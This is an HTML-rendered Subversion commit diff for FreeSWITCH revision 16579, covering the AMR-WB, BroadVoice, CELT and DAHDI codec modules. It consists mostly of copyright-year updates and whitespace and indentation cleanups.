<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthmct@yahoo.com&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthmct@yahoo.com&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -166,7 +166,8 @@
</span><span class="cx">                         context-&gt;enc_mode = globals.default_bitrate;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_snprintf(fmtptmp, sizeof(fmtptmp), &quot;octet-align=%d; mode-set=%d&quot;, switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0, context-&gt;enc_mode);
</del><ins>+                switch_snprintf(fmtptmp, sizeof(fmtptmp), &quot;octet-align=%d; mode-set=%d&quot;, switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0,
+                                                context-&gt;enc_mode);
</ins><span class="cx">                 codec-&gt;fmtp_out = switch_core_strdup(codec-&gt;memory_pool, fmtptmp);
</span><span class="cx"> 
</span><span class="cx">                 context-&gt;enc_mode = AMRWB_DEFAULT_BITRATE;
</span><span class="lines">@@ -205,11 +206,11 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t switch_amrwb_encode(switch_codec_t *codec,
</span><del>-                                                                                 switch_codec_t *other_codec,
-                                                                                 void *decoded_data,
-                                                                                 uint32_t decoded_data_len,
-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t * encoded_data_len, uint32_t * encoded_rate,
-                                                                                 unsigned int *flag)
</del><ins>+                                                                                   switch_codec_t *other_codec,
+                                                                                   void *decoded_data,
+                                                                                   uint32_t decoded_data_len,
+                                                                                   uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                   unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef AMRWB_PASSTHROUGH
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;This codec is only usable in passthrough mode!\n&quot;);
</span><span class="lines">@@ -228,11 +229,11 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t switch_amrwb_decode(switch_codec_t *codec,
</span><del>-                                                                                 switch_codec_t *other_codec,
-                                                                                 void *encoded_data,
-                                                                                 uint32_t encoded_data_len,
-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t * decoded_data_len, uint32_t * decoded_rate,
-                                                                                 unsigned int *flag)
</del><ins>+                                                                                   switch_codec_t *other_codec,
+                                                                                   void *encoded_data,
+                                                                                   uint32_t encoded_data_len,
+                                                                                   uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                   unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef AMRWB_PASSTHROUGH
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;This codec is only usable in passthrough mode!\n&quot;);
</span><span class="lines">@@ -279,10 +280,9 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, &quot;AMR-WB&quot;);
</span><del>-    switch_core_codec_add_implementation(pool, codec_interface,
-                                         SWITCH_CODEC_TYPE_AUDIO, 100, &quot;AMR-WB&quot;, &quot;octet-align=0&quot;, 16000, 16000, 23850,
-                                         20000, 320, 640, 0, 1, 1,
-                                         switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface,
+                                                                                 SWITCH_CODEC_TYPE_AUDIO, 100, &quot;AMR-WB&quot;, &quot;octet-align=0&quot;, 16000, 16000, 23850,
+                                                                                 20000, 320, 640, 0, 1, 1, switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_bvmod_bvc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -51,16 +51,16 @@
</span><span class="cx"> 
</span><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec-&gt;memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (encoding) {
</span><span class="cx">                 context-&gt;encoder_object = bv16_encode_init(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (decoding) {
</span><span class="cx">                 context-&gt;decoder_object = bv16_decode_init(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec-&gt;private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -68,7 +68,7 @@
</span><span class="cx"> static switch_status_t switch_bv16_destroy(switch_codec_t *codec)
</span><span class="cx"> {
</span><span class="cx">         struct bv16_context *context = codec-&gt;private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (context-&gt;encoder_object) {
</span><span class="cx">                 bv16_encode_free(context-&gt;encoder_object);
</span><span class="cx">         }
</span><span class="lines">@@ -134,16 +134,16 @@
</span><span class="cx"> 
</span><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec-&gt;memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (encoding) {
</span><span class="cx">                 context-&gt;encoder_object = bv32_encode_init(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (decoding) {
</span><span class="cx">                 context-&gt;decoder_object = bv32_decode_init(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec-&gt;private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -180,7 +180,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         *encoded_data_len = bv32_encode(context-&gt;encoder_object, (uint8_t *) encoded_data, (int16_t *) decoded_data, decoded_data_len / 2);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -208,61 +208,57 @@
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_bv_load)
</span><span class="cx"> {
</span><span class="cx">         switch_codec_interface_t *codec_interface;
</span><del>-        int mpf, spf, bpf, ebpf, count; 
</del><ins>+        int mpf, spf, bpf, ebpf, count;
</ins><span class="cx"> 
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><del>-        
-        SWITCH_ADD_CODEC(codec_interface, &quot;BroadVoice16 (BV16)&quot;); 
</del><span class="cx"> 
</span><ins>+        SWITCH_ADD_CODEC(codec_interface, &quot;BroadVoice16 (BV16)&quot;);
+
</ins><span class="cx">         mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
</span><del>-        
-        for (count = 12; count &gt; 0; count--) { 
-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         106,                                                /* the IANA code number */
-                                                                                         &quot;BV16&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         16000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_bv16_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_bv16_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_bv16_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_bv16_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+
+        for (count = 12; count &gt; 0; count--) {
+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         106,        /* the IANA code number */
+                                                                                         &quot;BV16&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         16000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_bv16_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_bv16_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_bv16_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_bv16_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        SWITCH_ADD_CODEC(codec_interface, &quot;BroadVoice32 (BV32)&quot;); 
</del><ins>+        SWITCH_ADD_CODEC(codec_interface, &quot;BroadVoice32 (BV32)&quot;);
</ins><span class="cx"> 
</span><del>-        mpf = 10000, spf = 160, bpf = 320 , ebpf = 40;
</del><ins>+        mpf = 10000, spf = 160, bpf = 320, ebpf = 40;
</ins><span class="cx"> 
</span><del>-        for (count = 6; count &gt; 0; count--) { 
-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         127,                                                /* the IANA code number */
-                                                                                         &quot;BV32&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         16000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_bv32_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_bv32_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_bv32_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_bv32_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        for (count = 6; count &gt; 0; count--) {
+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         127,        /* the IANA code number */
+                                                                                         &quot;BV32&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         16000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_bv32_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_bv32_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_bv32_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_bv32_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_celtmod_celtc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -51,43 +51,43 @@
</span><span class="cx"> 
</span><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec-&gt;memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-        context-&gt;mode_object = celt_mode_create(codec-&gt;implementation-&gt;actual_samples_per_second, codec-&gt;implementation-&gt;samples_per_packet, NULL); 
</del><ins>+        context-&gt;mode_object = celt_mode_create(codec-&gt;implementation-&gt;actual_samples_per_second, codec-&gt;implementation-&gt;samples_per_packet, NULL);
</ins><span class="cx">         celt_mode_info(context-&gt;mode_object, CELT_GET_FRAME_SIZE, &amp;context-&gt;frame_size);
</span><del>-        context-&gt;bytes_per_packet = (codec-&gt;implementation-&gt;bits_per_second * context-&gt;frame_size/codec-&gt;implementation-&gt;actual_samples_per_second + 4) / 8;
</del><ins>+        context-&gt;bytes_per_packet = (codec-&gt;implementation-&gt;bits_per_second * context-&gt;frame_size / codec-&gt;implementation-&gt;actual_samples_per_second + 4) / 8;
</ins><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        if (codec-&gt;fmtp_in) {
-                int x, argc;
-                char *argv[10];
-                argc = switch_separate_string(codec-&gt;fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
-                for (x = 0; x &lt; argc; x++) {
-                        char *data = argv[x];
-                        char *arg;
-                        switch_assert(data);
-                        while (*data == ' ') {
-                                data++;
-                        }
-                        if ((arg = strchr(data, '='))) {
-                                *arg++ = '\0';
-                                if (!strcasecmp(data, &quot;bitrate&quot;)) {
-                                        bit_rate = atoi(arg);
-                                }
-                        }
-                }
-        }
-        
-        codec-&gt;fmtp_out = switch_core_sprintf(codec-&gt;memory_pool, &quot;bitrate=%d&quot;, bit_rate);
-        */
</del><ins>+           if (codec-&gt;fmtp_in) {
+           int x, argc;
+           char *argv[10];
+           argc = switch_separate_string(codec-&gt;fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
+           for (x = 0; x &lt; argc; x++) {
+           char *data = argv[x];
+           char *arg;
+           switch_assert(data);
+           while (*data == ' ') {
+           data++;
+           }
+           if ((arg = strchr(data, '='))) {
+           *arg++ = '\0';
+           if (!strcasecmp(data, &quot;bitrate&quot;)) {
+           bit_rate = atoi(arg);
+           }
+           }
+           }
+           }
+
+           codec-&gt;fmtp_out = switch_core_sprintf(codec-&gt;memory_pool, &quot;bitrate=%d&quot;, bit_rate);
+         */
</ins><span class="cx">         if (encoding) {
</span><span class="cx">                 context-&gt;encoder_object = celt_encoder_create(context-&gt;mode_object, 1, NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (decoding) {
</span><span class="cx">                 context-&gt;decoder_object = celt_decoder_create(context-&gt;mode_object, 1, NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec-&gt;private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -111,8 +111,8 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        *encoded_data_len = (uint32_t) celt_encode(context-&gt;encoder_object, (void *)decoded_data, NULL,
-                                                                                           (unsigned char *)encoded_data, context-&gt;bytes_per_packet);
</del><ins>+        *encoded_data_len = (uint32_t) celt_encode(context-&gt;encoder_object, (void *) decoded_data, NULL,
+                                                                                           (unsigned char *) encoded_data, context-&gt;bytes_per_packet);
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -149,52 +149,48 @@
</span><span class="cx"> 
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><del>-        
-        SWITCH_ADD_CODEC(codec_interface, &quot;CELT ultra-low delay&quot;); 
</del><span class="cx"> 
</span><del>-        switch_core_codec_add_implementation(pool,
-                                                                                 codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 114,                                                /* the IANA code number */
-                                                                                 &quot;CELT&quot;,                                        /* the IANA code name */
-                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                 32000,                                                /* samples transferred per second */
-                                                                                 32000,                                                /* actual samples transferred per second */
-                                                                                 32000,                                                /* bits transferred per second */
-                                                                                 10000,                                                /* number of microseconds per frame */
-                                                                                 320,                                                /* number of samples per frame */
-                                                                                 640,                                                /* number of bytes per frame decompressed */
-                                                                                 0,                                                        /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_celt_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_celt_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_celt_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_celt_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        SWITCH_ADD_CODEC(codec_interface, &quot;CELT ultra-low delay&quot;);
+
+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 114,        /* the IANA code number */
+                                                                                 &quot;CELT&quot;,        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 32000,        /* samples transferred per second */
+                                                                                 32000,        /* actual samples transferred per second */
+                                                                                 32000,        /* bits transferred per second */
+                                                                                 10000,        /* number of microseconds per frame */
+                                                                                 320,        /* number of samples per frame */
+                                                                                 640,        /* number of bytes per frame decompressed */
+                                                                                 0,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_celt_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_celt_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_celt_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_celt_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         ms_per_frame = 2000;
</span><span class="cx">         samples_per_frame = 96;
</span><span class="cx">         bytes_per_frame = 192;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = 0; x &lt; 5; x++) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         114,                                                /* the IANA code number */
-                                                                                         &quot;CELT&quot;,                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         48000,                                                /* samples transferred per second */
-                                                                                         48000,                                                /* actual samples transferred per second */
-                                                                                         48000,                                                /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         0,                                                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_celt_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_celt_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_celt_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_celt_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         114,        /* the IANA code number */
+                                                                                         &quot;CELT&quot;,        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         48000,        /* samples transferred per second */
+                                                                                         48000,        /* actual samples transferred per second */
+                                                                                         48000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         0,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_celt_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_celt_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_celt_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_celt_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">                 ms_per_frame += 2000;
</span><span class="cx">                 samples_per_frame += 96;
</span><span class="cx">                 bytes_per_frame += 192;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_dahdi_codecmod_dahdi_codecc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -33,7 +33,7 @@
</span><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> #include &lt;g711.h&gt;
</span><span class="cx"> #include &lt;poll.h&gt;
</span><del>-#include &lt;linux/types.h&gt; /* __u32 */
</del><ins>+#include &lt;linux/types.h&gt;                /* __u32 */
</ins><span class="cx"> #include &lt;sys/ioctl.h&gt;
</span><span class="cx"> #include &lt;unistd.h&gt;
</span><span class="cx"> #include &lt;fcntl.h&gt;
</span><span class="lines">@@ -75,8 +75,8 @@
</span><span class="cx"> #define DAHDI_FORMAT_G729A   (1 &lt;&lt; 8)
</span><span class="cx"> 
</span><span class="cx"> struct dahdi_transcoder_formats {
</span><del>-        __u32   srcfmt;
-        __u32   dstfmt;
</del><ins>+        __u32 srcfmt;
+        __u32 dstfmt;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> struct dahdi_transcoder_info {
</span><span class="lines">@@ -108,15 +108,11 @@
</span><span class="cx">         int32_t fdflags;
</span><span class="cx">         int32_t fd = open(transcoding_device, O_RDWR);
</span><span class="cx">         if (fd &lt; 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
-                                &quot;Failed to open %s transcoder device: %s.\n&quot;, 
-                                transcoder_name, strerror(errno));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to open %s transcoder device: %s.\n&quot;, transcoder_name, strerror(errno));
</ins><span class="cx">                 return -1;
</span><span class="cx">         }
</span><span class="cx">         if (ioctl(fd, DAHDI_TC_ALLOCATE, fmts)) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
-                                &quot;Failed to attach to transcoder: %s.\n&quot;, 
-                                strerror(errno));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to attach to transcoder: %s.\n&quot;, strerror(errno));
</ins><span class="cx">                 close(fd);
</span><span class="cx">                 return -1;
</span><span class="cx">         }
</span><span class="lines">@@ -124,15 +120,14 @@
</span><span class="cx">         if (fdflags &gt; -1) {
</span><span class="cx">                 fdflags |= O_NONBLOCK;
</span><span class="cx">                 if (fcntl(fd, F_SETFL, fdflags)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Could not set non-block mode in %s transcoder FD: %s\n&quot;, 
-                                        transcoder_name, strerror(errno));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Could not set non-block mode in %s transcoder FD: %s\n&quot;,
+                                                          transcoder_name, strerror(errno));
</ins><span class="cx">                         /* should we abort? this may cause channels to hangup when overruning the device 
</span><span class="cx">                          * see jira dahdi codec issue MODCODEC-8 (Hung Calls and Codec DAHDI G.729A 8.0k decoder error!)
</span><span class="cx">                          * */
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Could not get flags from %s transcoder FD: %s\n&quot;, 
-                                transcoder_name, strerror(errno));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Could not get flags from %s transcoder FD: %s\n&quot;, transcoder_name, strerror(errno));
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (fmts-&gt;srcfmt &amp; DAHDI_FORMAT_ULAW) {
</span><span class="lines">@@ -154,19 +149,17 @@
</span><span class="cx">         struct dahdi_context *context = codec-&gt;private_info;
</span><span class="cx"> 
</span><span class="cx">         fmts.srcfmt = DAHDI_FORMAT_ULAW;
</span><del>-        fmts.dstfmt = (codec-&gt;implementation-&gt;ianacode == CODEC_G729_IANA_CODE) 
</del><ins>+        fmts.dstfmt = (codec-&gt;implementation-&gt;ianacode == CODEC_G729_IANA_CODE)
</ins><span class="cx">                 ? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
</span><span class="cx">         context-&gt;encoding_fd = switch_dahdi_get_transcoder(&amp;fmts);
</span><span class="cx">         if (context-&gt;encoding_fd &lt; 0) {
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;encoding requested and denied with %d/%d.\n&quot;,
-                                                  fmts.srcfmt, fmts.dstfmt);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;encoding requested and denied with %d/%d.\n&quot;, fmts.srcfmt, fmts.dstfmt);
</ins><span class="cx"> #endif
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Encoding requested and granted with %d/%d.\n&quot;,
-                                          fmts.srcfmt, fmts.dstfmt);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Encoding requested and granted with %d/%d.\n&quot;, fmts.srcfmt, fmts.dstfmt);
</ins><span class="cx"> #endif
</span><span class="cx"> 
